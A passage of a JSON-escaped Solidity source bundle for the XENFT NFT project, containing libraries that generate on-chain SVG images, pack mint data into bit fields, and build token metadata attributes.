soon as you have made a thought, laugh at it.\" - Lao Tzu '\n '\"The further one goes, the less one knows.\" - Lao Tzu '\n '\"Stop thinking, and end your problems.\" - Lao Tzu '\n '\"Reliability is the foundation of commitment.\" - Unknown '\n '\"Your past does not equal your future.\" - Tony Robbins '\n '\"Be the path. Do not seek it.\" - Yara Tschallener '\n );\n uint256 public constant CLASSES_COUNT = 14;\n uint256 public constant CLASSES_NAME_LENGTH = 10;\n bytes public constant CLASSES =\n bytes(\n \"Ruby \"\n \"Opal \"\n \"Topaz \"\n \"Emerald \"\n \"Aquamarine\"\n \"Sapphire \"\n \"Amethyst \"\n \"Xenturion \"\n \"Limited \"\n \"Rare \"\n \"Epic \"\n \"Legendary \"\n \"Exotic \"\n \"Xunicorn \"\n );\n\n /**\n @dev Solidity doesn't yet support slicing of byte arrays anywhere outside of calldata,\n therefore we make a hack by supplying our local constant packed string array as calldata\n */\n function getQuote(bytes calldata quotes, uint256 index) external pure returns (string memory) {\n if (index > QUOTES_COUNT - 1) return string(quotes[0:QUOTE_LENGTH]);\n return string(quotes[index * QUOTE_LENGTH:(index + 1) * QUOTE_LENGTH]);\n }\n\n function getClassName(bytes calldata names, uint256 index) external pure returns (string memory) {\n if (index < CLASSES_COUNT) return string(names[index * CLASSES_NAME_LENGTH:(index + 1) * CLASSES_NAME_LENGTH]);\n return \"\";\n }\n}\n"
},
"/contracts/libs/SVG.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./DateTime.sol\";\nimport \"./StringData.sol\";\nimport \"./FormattedStrings.sol\";\n\n/*\n @dev Library to create SVG image for XENFT metadata\n @dependency depends on DataTime.sol and StringData.sol libraries\n */\nlibrary SVG {\n // Type to encode all data params for SVG image generation\n struct SvgParams {\n string symbol;\n address xenAddress;\n uint256 tokenId;\n uint256 term;\n uint256 rank;\n uint256 count;\n uint256 maturityTs;\n uint256 amp;\n uint256 eaa;\n uint256 xenBurned;\n bool redeemed;\n string series;\n }\n\n // Type to encode SVG gradient stop color on HSL color scale\n struct Color {\n uint256 h;\n uint256 s;\n uint256 l;\n uint256 a;\n uint256 off;\n }\n\n // Type to encode SVG gradient\n struct Gradient {\n Color[] colors;\n uint256 id;\n uint256[4] coords;\n }\n\n using DateTime for uint256;\n using Strings for uint256;\n using FormattedStrings for uint256;\n using Strings for address;\n\n string private constant _STYLE =\n \"<style> \"\n \".base {fill: #ededed;font-family:Montserrat,arial,sans-serif;font-size:30px;font-weight:400;} \"\n \".series {text-transform: uppercase} \"\n \".logo {font-size:200px;font-weight:100;} \"\n \".meta {font-size:12px;} \"\n \".small {font-size:8px;} \"\n \".burn {font-weight:500;font-size:16px;} }\"\n \"</style>\";\n\n string private constant _COLLECTOR =\n \"<g>\"\n \"<path \"\n 'stroke=\"#ededed\" '\n 'fill=\"none\" '\n 'transform=\"translate(265,418)\" '\n 'd=\"m 0 0 L -20 -30 L -12.5 -38.5 l 6.5 7 L 0 -38.5 L 6.56 -31.32 L 12.5 -38.5 L 20 -30 L 0 0 L -7.345 -29.955 L 0 -38.5 L 7.67 -30.04 L 0 0 Z M 0 0 L -20.055 -29.955 l 7.555 -8.545 l 24.965 -0.015 L 20 -30 L -20.055 -29.955\"/>'\n \"</g>\";\n\n string private constant _LIMITED =\n \"<g> \"\n '<path fill=\"#ededed\" '\n 'transform=\"scale(0.4) translate(600, 940)\" '\n 'd=\"M66,38.09q.06.9.18,1.71v.05c1,7.08,4.63,11.39,9.59,13.81,5.18,2.53,11.83,3.09,18.48,2.61,1.49-.11,3-.27,4.39-.47l1.59-.2c4.78-.61,11.47-1.48,13.35-5.06,1.16-2.2,1-5,0-8a38.85,38.85,0,0,0-6.89-11.73A32.24,32.24,0,0,0,95,21.46,21.2,21.2,0,0,0,82.3,20a23.53,23.53,0,0,0-12.75,7,15.66,15.66,0,0,0-2.35,3.46h0a20.83,20.83,0,0,0-1,2.83l-.06.2,0,.12A12,12,0,0,0,66,37.9l0,.19Zm26.9-3.63a5.51,5.51,0,0,1,2.53-4.39,14.19,14.19,0,0,0-5.77-.59h-.16l.06.51a5.57,5.57,0,0,0,2.89,4.22,4.92,4.92,0,0,0,.45.24ZM88.62,28l.94-.09a13.8,13.8,0,0,1,8,1.43,7.88,7.88,0,0,1,3.92,6.19l0,.43a.78.78,0,0,1-.66.84A19.23,19.23,0,0,1,98,37a12.92,12.92,0,0,1-6.31-1.44A7.08,7.08,0,0,1,88,30.23a10.85,10.85,0,0,1-.1-1.44.8.8,0,0,1,.69-.78ZM14.15,10c-.06-5.86,3.44-8.49,8-9.49C26.26-.44,31.24.16,34.73.7A111.14,111.14,0,0,1,56.55,6.4a130.26,130.26,0,0,1,22,10.8,26.25,26.25,0,0,1,3-.78,24.72,24.72,0,0,1,14.83,1.69,36,36,0,0,1,13.09,10.42,42.42,42.42,0,0,1,7.54,12.92c1.25,3.81,1.45,7.6-.23,10.79-2.77,5.25-10.56,6.27-16.12,7l-1.23.16a54.53,54.53,0,0,1-2.81,12.06A108.62,108.62,0,0,1,91.3,84v25.29a9.67,9.67,0,0,1,9.25,10.49c0,.41,0,.81,0,1.18a1.84,1.84,0,0,1-1.84,1.81H86.12a8.8,8.8,0,0,1-5.1-1.56,10.82,10.82,0,0,1-3.35-4,2.13,2.13,0,0,1-.2-.46L73.53,103q-2.73,2.13-5.76,4.16c-1.2.8-2.43,1.59-3.69,2.35l.6.16a8.28,8.28,0,0,1,5.07,4,15.38,15.38,0,0,1,1.71,7.11V121a1.83,1.83,0,0,1-1.83,1.83h-53c-2.58.09-4.47-.52-5.75-1.73A6.49,6.49,0,0,1,9.11,116v-11.2a42.61,42.61,0,0,1-6.34-11A38.79,38.79,0,0,1,1.11,70.29,37,37,0,0,1,13.6,50.54l.1-.09a41.08,41.08,0,0,1,11-6.38c7.39-2.9,17.93-2.77,26-2.68,5.21.06,9.34.11,10.19-.49a4.8,4.8,0,0,0,1-.91,5.11,5.11,0,0,0,.56-.84c0-.26,0-.52-.07-.78a16,16,0,0,1-.06-4.2,98.51,98.51,0,0,0-18.76-3.68c-7.48-.83-15.44-1.19-23.47-1.41l-1.35,0c-2.59,0-4.86,0-7.46-1.67A9,9,0,0,1,8,23.68a9.67,9.67,0,0,1-.91-5A10.91,10.91,0,0,1,8.49,14a8.74,8.74,0,0,1,3.37-3.29A8.2,8.2,0,0,1,14.15,10ZM69.14,22a54.75,54.75,0,0,1,4.94-3.24,124.88,124.88,0,0,0-18.8-9A106.89,106.89,0,0,0,34.17,4.31C31,3.81,26.44,3.25,22.89,4c-2.55.56-4.59,1.92-5,4.79a134.49,134.49,0,0,1,26.3,3.8,115.69,115.69,0,0,1,25,9.4ZM64,28.65c.21-.44.42-.86.66-1.28a15.26,15.26,0,0,1,1.73-2.47,146.24,146.24,0,0,0-14.92-6.2,97.69,97.69,0,0,0-15.34-4A123.57,123.57,0,0,0,21.07,13.2c-3.39-.08-6.3.08-7.47.72a5.21,5.21,0,0,0-2,1.94,7.3,7.3,0,0,0-1,3.12,6.1,6.1,0,0,0,.55,3.11,5.43,5.43,0,0,0,2,2.21c1.73,1.09,3.5,1.1,5.51,1.12h1.43c8.16.23,16.23.59,23.78,1.42a103.41,103.41,0,0,1,19.22,3.76,17.84,17.84,0,0,1,.85-2Zm-.76,15.06-.21.16c-1.82,1.3-6.48,1.24-12.35,1.17C42.91,45,32.79,44.83,26,47.47a37.41,37.41,0,0,0-10,5.81l-.1.08A33.44,33.44,0,0,0,4.66,71.17a35.14,35.14,0,0,0,1.5,21.32A39.47,39.47,0,0,0,12.35,103a1.82,1.82,0,0,1,.42,1.16v12a3.05,3.05,0,0,0,.68,2.37,4.28,4.28,0,0,0,3.16.73H67.68a10,10,0,0,0-1.11-3.69,4.7,4.7,0,0,0-2.87-2.32,15.08,15.08,0,0,0-4.4-.38h-26a1.83,1.83,0,0,1-.15-3.65c5.73-.72,10.35-2.74,13.57-6.25,3.06-3.34,4.91-8.1,5.33-14.45v-.13A18.88,18.88,0,0,0,46.35,75a20.22,20.22,0,0,0-7.41-4.42,23.54,23.54,0,0,0-8.52-1.25c-4.7.19-9.11,1.83-12,4.83a1.83,1.83,0,0,1-2.65-2.52c3.53-3.71,8.86-5.73,14.47-6a27.05,27.05,0,0,1,9.85,1.44,24,24,0,0,1,8.74,5.23,22.48,22.48,0,0,1,6.85,15.82v.08a2.17,2.17,0,0,1,0,.36c-.47,7.25-2.66,12.77-6.3,16.75a21.24,21.24,0,0,1-4.62,3.77H57.35q4.44-2.39,8.39-5c2.68-1.79,5.22-3.69,7.63-5.67a1.82,1.82,0,0,1,2.57.24,1.69,1.69,0,0,1,.35.66L81,115.62a7,7,0,0,0,2.16,2.62,5.06,5.06,0,0,0,3,.9H96.88a6.56,6.56,0,0,0-1.68-4.38,7.19,7.19,0,0,0-4.74-1.83c-.36,0-.69,0-1,0a1.83,1.83,0,0,1-1.83-1.83V83.6a1.75,1.75,0,0,1,.23-.88,105.11,105.11,0,0,0,5.34-12.46,52,52,0,0,0,2.55-10.44l-1.23.1c-7.23.52-14.52-.12-20.34-3A20,20,0,0,1,63.26,43.71Z\"/>'\n \"</g>\";\n\n string private constant _APEX =\n '<g transform=\"scale(0.5) translate(533, 790)\">'\n '<circle r=\"39\" stroke=\"#ededed\" fill=\"transparent\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"M0,38 a38,38 0 0 1 0,-76 a19,19 0 0 1 0,38 a19,19 0 0 0 0,38 z m -5 -57 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0 z\" '\n 'fill-rule=\"evenodd\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"m -5, 19 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0\"/>'\n \"</g>\";\n\n string private constant _LOGO =\n '<path fill=\"#ededed\" '\n 'd=\"M122.7,227.1 l-4.8,0l55.8,-74l0,3.2l-51.8,-69.2l5,0l48.8,65.4l-1.2,0l48.8,-65.4l4.8,0l-51.2,68.4l0,-1.6l55.2,73.2l-5,0l-52.8,-70.2l1.2,0l-52.8,70.2z\" '\n 'vector-effect=\"non-scaling-stroke\" />';\n\n /**\n @dev internal helper to create HSL-encoded color prop for SVG tags\n */\n function colorHSL(Color memory c) internal pure returns (bytes memory) {\n return abi.encodePacked(\"hsl(\", c.h.toString(), \", \", c.s.toString(), \"%, \", c.l.toString(), \"%)\");\n }\n\n /**\n @dev internal helper to create `stop` SVG tag\n */\n function colorStop(Color memory c) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n '<stop stop-color=\"',\n colorHSL(c),\n '\" stop-opacity=\"',\n c.a.toString(),\n '\" offset=\"',\n c.off.toString(),\n '%\"/>'\n );\n }\n\n /**\n @dev internal helper to encode position for `Gradient` SVG tag\n */\n function pos(uint256[4] memory coords) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n 'x1=\"',\n coords[0].toString(),\n '%\" '\n 'y1=\"',\n coords[1].toString(),\n '%\" '\n 'x2=\"',\n coords[2].toString(),\n '%\" '\n 'y2=\"',\n coords[3].toString(),\n '%\" '\n );\n }\n\n /**\n @dev internal helper to create `Gradient` SVG tag\n */\n function linearGradient(\n Color[] memory colors,\n uint256 id,\n uint256[4] memory coords\n ) internal pure returns (bytes memory) {\n string memory stops = \"\";\n for (uint256 i = 0; i < colors.length; i++) {\n if (colors[i].h != 0) {\n stops = string.concat(stops, string(colorStop(colors[i])));\n }\n }\n return\n abi.encodePacked(\n \"<linearGradient \",\n pos(coords),\n 'id=\"g',\n id.toString(),\n '\">',\n stops,\n \"</linearGradient>\"\n );\n }\n\n /**\n @dev internal helper to create `Defs` SVG tag\n */\n function defs(Gradient memory grad) internal pure returns (bytes memory) {\n return abi.encodePacked(\"<defs>\", linearGradient(grad.colors, 0, grad.coords), \"</defs>\");\n }\n\n /**\n @dev internal helper to create `Rect` SVG tag\n */\n function rect(uint256 id) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<rect \"\n 'width=\"100%\" '\n 'height=\"100%\" '\n 'fill=\"url(#g',\n id.toString(),\n ')\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n \"/>\"\n );\n }\n\n /**\n @dev internal helper to create border `Rect` SVG tag\n */\n function border() internal pure returns (string memory) {\n return\n \"<rect \"\n 'width=\"94%\" '\n 'height=\"96%\" '\n 'fill=\"transparent\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n 'x=\"3%\" '\n 'y=\"2%\" '\n 'stroke-dasharray=\"1,6\" '\n 'stroke=\"white\" '\n \"/>\";\n }\n\n /**\n @dev internal helper to create group `G` SVG tag\n */\n function g(uint256 gradientsCount) internal pure returns (bytes memory) {\n string memory background = \"\";\n for (uint256 i = 0; i < gradientsCount; i++) {\n background = string.concat(background, string(rect(i)));\n }\n return abi.encodePacked(\"<g>\", background, border(), \"</g>\");\n }\n\n /**\n @dev internal helper to create XEN logo line pattern with 2 SVG `lines`\n */\n function logo() internal pure returns (bytes memory) {\n return abi.encodePacked();\n }\n\n /**\n @dev internal helper to create `Text` SVG tag with XEN Crypto contract data\n */\n function contractData(string memory symbol, address xenAddress) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"5%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">',\n symbol,\n unicode\"・\",\n xenAddress.toHexString(),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to create cRank range string\n */\n function rankAndCount(uint256 rank, uint256 count) internal pure returns (bytes memory) {\n if (count == 1) return abi.encodePacked(rank.toString());\n return abi.encodePacked(rank.toString(), \"..\", (rank + count - 1).toString());\n }\n\n /**\n @dev internal helper to create 1st part of metadata section of SVG\n */\n function meta1(\n uint256 tokenId,\n uint256 count,\n uint256 eaa,\n string memory series,\n uint256 xenBurned\n ) internal pure returns (bytes memory) {\n bytes memory part1 = abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"50%\" '\n 'class=\"base \" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">'\n \"XEN CRYPTO\"\n \"</text>\"\n \"<text \"\n 'x=\"50%\" '\n 'y=\"56%\" '\n 'class=\"base burn\" '\n 'text-anchor=\"middle\" '\n 'dominant-baseline=\"middle\"> ',\n xenBurned > 0 ? string.concat((xenBurned / 10**18).toFormattedString(), \" X\") : \"\",\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"62%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\"> '\n \"#\",\n tokenId.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"82%\" '\n 'y=\"62%\" '\n 'class=\"base meta series\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"end\" >',\n series,\n \"</text>\"\n );\n bytes memory part2 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"68%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"VMU: \",\n count.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"72%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"EAA: \",\n (eaa / 10).toString(),\n \"%\"\n \"</text>\"\n );\n return abi.encodePacked(part1, part2);\n }\n\n /**\n @dev internal helper to create 2nd part of metadata section of SVG\n */\n function meta2(\n uint256 maturityTs,\n uint256 amp,\n uint256 term,\n uint256 rank,\n uint256 count\n ) internal pure returns (bytes memory) {\n bytes memory part3 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"76%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"AMP: \",\n amp.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"80%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Term: \",\n term.toString()\n );\n bytes memory part4 = abi.encodePacked(\n \" days\"\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"84%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"cRank: \",\n rankAndCount(rank, count),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"88%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Maturity: \",\n maturityTs.asString(),\n \"</text>\"\n );\n return abi.encodePacked(part3, part4);\n }\n\n /**\n @dev internal helper to create `Text` SVG tag for XEN quote\n */\n function quote(uint256 idx) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"95%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" >',\n StringData.getQuote(StringData.QUOTES, idx),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to generate `Redeemed` stamp\n */\n function stamp(bool redeemed) internal pure returns (bytes memory) {\n if (!redeemed) return \"\";\n return\n abi.encodePacked(\n \"<rect \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'width=\"100\" '\n 'height=\"40\" '\n 'stroke=\"black\" '\n 'stroke-width=\"1\" '\n 'fill=\"none\" '\n 'rx=\"5px\" '\n 'ry=\"5px\" '\n 'transform=\"translate(-50,-20) '\n 'rotate(-20,0,400)\" />',\n \"<text \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'stroke=\"black\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" '\n 'transform=\"translate(0,0) rotate(-20,-45,380)\" >'\n \"Redeemed\"\n \"</text>\"\n );\n }\n\n /**\n @dev main internal helper to create SVG file representing XENFT\n */\n function image(\n SvgParams memory params,\n Gradient[] memory gradients,\n uint256 idx,\n bool apex,\n bool limited\n ) internal pure returns (bytes memory) {\n string memory mark = limited ? _LIMITED : apex ? _APEX : _COLLECTOR;\n bytes memory graphics = abi.encodePacked(defs(gradients[0]), _STYLE, g(gradients.length), _LOGO, mark);\n bytes memory metadata = abi.encodePacked(\n contractData(params.symbol, params.xenAddress),\n meta1(params.tokenId, params.count, params.eaa, params.series, params.xenBurned),\n meta2(params.maturityTs, params.amp, params.term, params.rank, params.count),\n quote(idx),\n stamp(params.redeemed)\n );\n return\n abi.encodePacked(\n \"<svg \"\n 'xmlns=\"http://www.w3.org/2000/svg\" '\n 'preserveAspectRatio=\"xMinYMin meet\" '\n 'viewBox=\"0 0 350 566\">',\n graphics,\n metadata,\n \"</svg>\"\n );\n }\n}\n"
},
"/contracts/libs/MintInfo.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n// MintInfo encoded as:\n// term (uint16)\n// | maturityTs (uint64)\n// | rank (uint128)\n// | amp (uint16)\n// | eaa (uint16)\n// | class (uint8):\n// [7] isApex\n// [6] isLimited\n// [0-5] powerGroupIdx\n// | redeemed (uint8)\nlibrary MintInfo {\n /**\n @dev helper to convert Bool to U256 type and make compiler happy\n */\n function toU256(bool x) internal pure returns (uint256 r) {\n assembly {\n r := x\n }\n }\n\n /**\n @dev encodes MintInfo record from its props\n */\n function encodeMintInfo(\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class_,\n bool redeemed\n ) public pure returns (uint256 info) {\n info = info | (toU256(redeemed) & 0xFF);\n info = info | ((class_ & 0xFF) << 8);\n info = info | ((eaa & 0xFFFF) << 16);\n info = info | ((amp & 0xFFFF) << 32);\n info = info | ((rank & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) << 48);\n info = info | ((maturityTs & 0xFFFFFFFFFFFFFFFF) << 176);\n info = info | ((term & 0xFFFF) << 240);\n }\n\n /**\n @dev decodes MintInfo record and extracts all of its props\n */\n function decodeMintInfo(uint256 info)\n public\n pure\n returns (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class,\n bool apex,\n bool limited,\n bool redeemed\n )\n {\n term = uint16(info >> 240);\n maturityTs = uint64(info >> 176);\n rank = uint128(info >> 48);\n amp = uint16(info >> 32);\n eaa = uint16(info >> 16);\n class = uint8(info >> 8) & 0x3F;\n apex = (uint8(info >> 8) & 0x80) > 0;\n limited = (uint8(info >> 8) & 0x40) > 0;\n redeemed = uint8(info) == 1;\n }\n\n /**\n @dev extracts `term` prop from encoded MintInfo\n */\n function getTerm(uint256 info) public pure returns (uint256 term) {\n (term, , , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `maturityTs` prop from encoded MintInfo\n */\n function getMaturityTs(uint256 info) public pure returns (uint256 maturityTs) {\n (, maturityTs, , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `rank` prop from encoded MintInfo\n */\n function getRank(uint256 info) public pure returns (uint256 rank) {\n (, , rank, , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `AMP` prop from encoded MintInfo\n */\n function getAMP(uint256 info) public pure returns (uint256 amp) {\n (, , , amp, , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `EAA` prop from encoded MintInfo\n */\n function getEAA(uint256 info) public pure returns (uint256 eaa) {\n (, , , , eaa, , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getClass(uint256 info)\n public\n pure\n returns (\n uint256 class_,\n bool apex,\n bool limited\n )\n {\n (, , , , , class_, apex, limited, ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getRedeemed(uint256 info) public pure returns (bool redeemed) {\n (, , , , , , , , redeemed) = decodeMintInfo(info);\n }\n}\n"
},
"/contracts/libs/Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./MintInfo.sol\";\nimport \"./DateTime.sol\";\nimport \"./FormattedStrings.sol\";\nimport \"./SVG.sol\";\n\n/**\n @dev Library contains methods to generate on-chain NFT metadata\n*/\nlibrary Metadata {\n using DateTime for uint256;\n using MintInfo for uint256;\n using Strings for uint256;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n uint256 public constant MAX_POWER = 52_500;\n\n uint256 public constant COLORS_FULL_SCALE = 300;\n uint256 public constant SPECIAL_LUMINOSITY = 45;\n uint256 public constant BASE_SATURATION = 75;\n uint256 public constant BASE_LUMINOSITY = 38;\n uint256 public constant GROUP_SATURATION = 100;\n uint256 public constant GROUP_LUMINOSITY = 50;\n uint256 public constant DEFAULT_OPACITY = 1;\n uint256 public constant NO_COLOR = 360;\n\n // PRIVATE HELPERS\n\n // The following pure methods returning arrays are workaround to use array constants,\n // not yet available in Solidity\n\n function _powerGroupColors() private pure returns (uint256[8] memory) {\n return [uint256(360), 1, 30, 60, 120, 180, 240, 300];\n }\n\n function _huesApex() private pure returns (uint256[3] memory) {\n return [uint256(169), 210, 305];\n }\n\n function _huesLimited() private pure returns (uint256[3] memory) {\n return [uint256(263), 0, 42];\n }\n\n function _stopOffsets() private pure returns (uint256[3] memory) {\n return [uint256(10), 50, 90];\n }\n\n function _gradColorsRegular() private pure returns (uint256[4] memory) {\n return [uint256(150), 150, 20, 20];\n }\n\n function _gradColorsBlack() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 20, 20];\n }\n\n function _gradColorsSpecial() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 0, 0];\n }\n\n /**\n @dev private helper to determine XENFT group index by its power\n (power = count of VMUs * mint term in days)\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev private helper to generate SVG gradients for special XENFT categories\n */\n function _specialClassGradients(bool rare) private pure returns (SVG.Gradient[] memory gradients) {\n uint256[3] memory specialColors = rare ? _huesApex() : _huesLimited();\n SVG.Color[] memory colors = new SVG.Color[](3);\n for (uint256 i = 0; i < colors.length; i++) {\n colors[i] = SVG.Color({\n h: specialColors[i],\n s: BASE_SATURATION,\n l: SPECIAL_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[i]\n });\n }\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({colors: colors, id: 0, coords: _gradColorsSpecial()});\n }\n\n /**\n @dev private helper to generate SVG gradients for common XENFT category\n */\n function _commonCategoryGradients(uint256 vmus, uint256 term)\n private\n pure\n returns (SVG.Gradient[] memory gradients)\n {\n SVG.Color[] memory colors = new SVG.Color[](2);\n uint256 powerHue = term * vmus > MAX_POWER ? NO_COLOR : 1 + (term * vmus * COLORS_FULL_SCALE) / MAX_POWER;\n // group\n uint256 groupHue = _powerGroupColors()[_powerGroup(vmus, term) > 7 ? 7 : _powerGroup(vmus, term)];\n colors[0] = SVG.Color({\n h: groupHue,\n s: groupHue == NO_COLOR ? 0 : GROUP_SATURATION,\n l: groupHue == NO_COLOR ? 0 : GROUP_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[0]\n });\n // power\n colors[1] = SVG.Color({\n h: powerHue,\n s: powerHue == NO_COLOR ? 0 : BASE_SATURATION,\n l: powerHue == NO_COLOR ? 0 : BASE_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[2]\n });\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({\n colors: colors,\n id: 0,\n coords: groupHue == NO_COLOR ? _gradColorsBlack() : _gradColorsRegular()\n });\n }\n\n // PUBLIC INTERFACE\n\n /**\n @dev public interface to generate SVG image based on XENFT params\n */\n function svgData(\n uint256 tokenId,\n uint256 count,\n uint256 info,\n address token,\n uint256 burned\n ) external view returns (bytes memory) {\n string memory symbol = IERC20Metadata(token).symbol();\n (uint256 classIds, bool rare, bool limited) = info.getClass();\n SVG.SvgParams memory params = SVG.SvgParams({\n symbol: symbol,\n xenAddress: token,\n tokenId: tokenId,\n term: info.getTerm(),\n rank: info.getRank(),\n count: count,\n maturityTs: info.getMaturityTs(),\n amp: info.getAMP(),\n eaa: info.getEAA(),\n xenBurned: burned,\n series: StringData.getClassName(StringData.CLASSES, classIds),\n redeemed: info.getRedeemed()\n });\n uint256 quoteIdx = uint256(keccak256(abi.encode(info))) % StringData.QUOTES_COUNT;\n if (rare || limited) {\n return SVG.image(params, _specialClassGradients(rare), quoteIdx, rare, limited);\n }\n return SVG.image(params, _commonCategoryGradients(count, info.getTerm()), quoteIdx, rare, limited);\n }\n\n function _attr1(\n uint256 count,\n uint256 rank,\n uint256 class_\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Class\",\"value\":\"',\n StringData.getClassName(StringData.CLASSES, class_),\n '\"},'\n '{\"trait_type\":\"VMUs\",\"value\":\"',\n count.toString(),\n '\"},'\n '{\"trait_type\":\"cRank\",\"value\":\"',\n rank.toString(),\n '\"},'\n );\n }\n\n function _attr2(\n uint256 amp,\n uint256 eaa,\n uint256 maturityTs\n ) private pure returns (bytes memory) {\n (uint256 year, string memory month) = DateTime.yearAndMonth(maturityTs);\n return\n abi.encodePacked(\n '{\"trait_type\":\"AMP\",\"value\":\"',\n amp.toString(),\n '\"},'\n '{\"trait_type\":\"EAA (%)\",\"value\":\"',\n (eaa / 10).toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Year\",\"value\":\"',\n year.toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Month\",\"value\":\"',\n month,\n '\"},'\n );\n }\n\n function _attr3(\n uint256 maturityTs,\n uint256 term,\n uint256 burned\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Maturity DateTime\",\"value\":\"',\n maturityTs.asString(),\n '\"},'\n '{\"trait_type\":\"Term\",\"value\":\"',\n term.toString(),\n '\"},'\n '{\"trait_type\":\"XEN Burned\",\"value\":\"',\n (burned / 10**18).toString(),\n '\"},'\n );\n }\n\n function _attr4(bool apex, bool limited) private pure returns (bytes memory) {\n string memory category = \"Collector\";\n if (limited) category = \"Limited\";\n if (apex) category = \"Apex\";\n return abi.encodePacked('{\"trait_type\":\"Category\",\"value\":\"', category, '\"}');\n }\n\n /**\n @dev private helper to construct attributes portion of NFT metadata\n */\n function attributes(\n uint256 count,\n uint256 burned,\n uint256 mintInfo\n ) external pure returns (bytes memory) {\n (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 series,\n bool apex,\n bool limited,\n\n ) = MintInfo.decodeMintInfo(mintInfo);\n return\n abi.encodePacked(\n \"[\",\n _attr1(count, rank, series),\n _attr2(amp, eaa, maturityTs),\n _attr3(maturityTs, term, burned),\n _attr4(apex, limited),\n \"]\"\n );\n }\n\n function formattedString(uint256 n) public pure returns (string memory) {\n return FormattedStrings.toFormattedString(n);\n }\n}\n"
},
"/contracts/libs/FormattedStrings.sol": {
